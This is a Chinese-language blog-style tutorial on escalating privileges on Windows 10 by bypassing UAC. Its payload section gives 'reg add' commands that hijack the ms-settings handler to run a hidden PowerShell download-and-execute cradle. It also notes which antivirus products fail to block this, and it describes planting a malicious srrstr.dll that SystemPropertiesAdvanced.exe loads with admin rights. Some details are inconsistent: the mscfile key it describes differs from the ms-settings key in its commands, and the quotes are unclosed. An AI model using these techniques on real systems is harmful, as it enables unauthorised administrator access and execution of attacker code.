当我们拿下一台windows10的低权限用户时,可以尝试进行提权以获得更多的渗透可能性。
注册表修改Bypass UAC:
有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序.例如, slui.exe
、wusa.exe
、taskmgr.exe
、msra.exe
、eudcedit.exe
、eventvwr.exe,
CompMgmtLauncher.exe
,rundll32.exe
,explorer.exe
、
这些 白名单程序可以通过DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
利用CompMgmtLauncher.exe提权,该程序在启动时会查询注册表项"Software\classes\mscfile\shell\open\command"(msc后缀文件默认打开方式)、如果存在就会以管理员权限去执行该项默认程序。
提权方式。修改注册表项,更改数据达到权限提升的目的
小知识:regedit 会弹出uac需要用户确认,且容易被杀毒软件拦截。而 reg 相对比较不敏感这个后面再说。
payload:
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "cmd.exe /c powershell -nop -w hidden -c \"IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:30328/')
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "cmd.exe /c powershell -nop -w hidden -c \"IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:45019/')
Windows Defen : 当我reg 或者regedit执行修改注册表时都会进行拦截。
360安全卫士: 当我安装完360安全卫士的时候,360自动接管windows def reg 执行成功并且没有弹窗 regedit 依旧会弹出弹窗,并且都不拦截(360yyds)
提权成功,尝试创建管理员账户。
Dll劫持bypass UAC:
dll劫持原理:dll (Dynamic Link Library)动态链接库 ,个人认为其实跟linux的os劫持大同小异,在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。
拿网易云的劫持来说, cloudmusic_reporter.exe需要调用libcurl.dll文件,提前把libcurl.dll替换成恶意构造的dll,那么cloudmusic_reporter.exe就会加载恶意构造的dll文件,这就达到了劫持目的。
如Wegame,当我们点击启动时会自动调用需要依赖的.dll文件,这个时候我们把.dll文件构造成恶意payload就会被自动加载,同样我们启动开头讲过的白名单程序时就达到了bypass uac 提权的目的。
dll劫持方法:
(1) DLL替换:用恶意的DLL替换掉合法的DLL
(2) DLL搜索顺序劫持:当应用程序加载DLL的时候,如果没有带指定DLL的路径,那么程序将会以特定的顺序依次在指定的路径下搜索待加载的DLL。通过将恶意DLL放在真实DLL之前的搜索位置,就可以劫持搜索顺序,劫持的目录有时候包括目标应用程序的工作目录。
(3) 虚拟DLL劫持:释放一个恶意的DLL来代替合法应用程序加载的丢失/不存在的DLL
(4) DLL重定向:更改DLL搜索的路径,比如通过编辑%PATH%环境变量或 .exe.manifest/.exe.local文件以将搜索路径定位到包含恶意DLL的地方。
(5) WinSxS DLL替换:将目标DLL相关的WinSxS文件夹中的恶意DLL替换为合法的DLL。此方法通常也被称为DLL侧加载
(6) 相对路径DLL劫持:将合法的应用程序复制(并有选择地重命名)与恶意的DLL一起放入到用户可写的文件夹中。在使用方法上,它与(签名的)二进制代理执行有相似之处。它的一个变体是(有点矛盾地称为)“自带LOLbin”,其中合法的应用程序带有恶意的DLL(而不是从受害者机器上的合法位置复制)。
这里我们使用windows原生软件提权 C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe (不存在于win10 及更高)
加载过程:
- C:\Windows\SysWOW64\srrstr.dll
- C:\Windows\System\srrstr.dll
- C:\Windows\srrstr.dll
- C:\Windows\SysWOW64\wbem\srrstr.dll
- C:\Windows\SysWOW64\WindowsPowershell\v1.0\srrstr.dll
- C:\Users<Username>\APPData\Local\Microsoft\WindowsApps\srrstr.dll
在最后它会寻找 C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\
这个目录,而这个目录的读写是不需要触发UAC获得管理员权限来操作的。
将Coolis转换成DLL,上传至 C:\Users\<Username>\APPData\Local\Microsoft\WindowsApps\
,紧接着执行SystemPropertiesAdvanced.exe,它会自动将 srrstr.dll
加载至SystemPropertiesAdvanced.exe进程的内存,同样的,我们也就拥有了管理员权限
构建恶意dll.
将构造好的srrstr.dll放入到windowssapps目录下,再运行SystemPropertiesAdvanced.exe发现提权成功。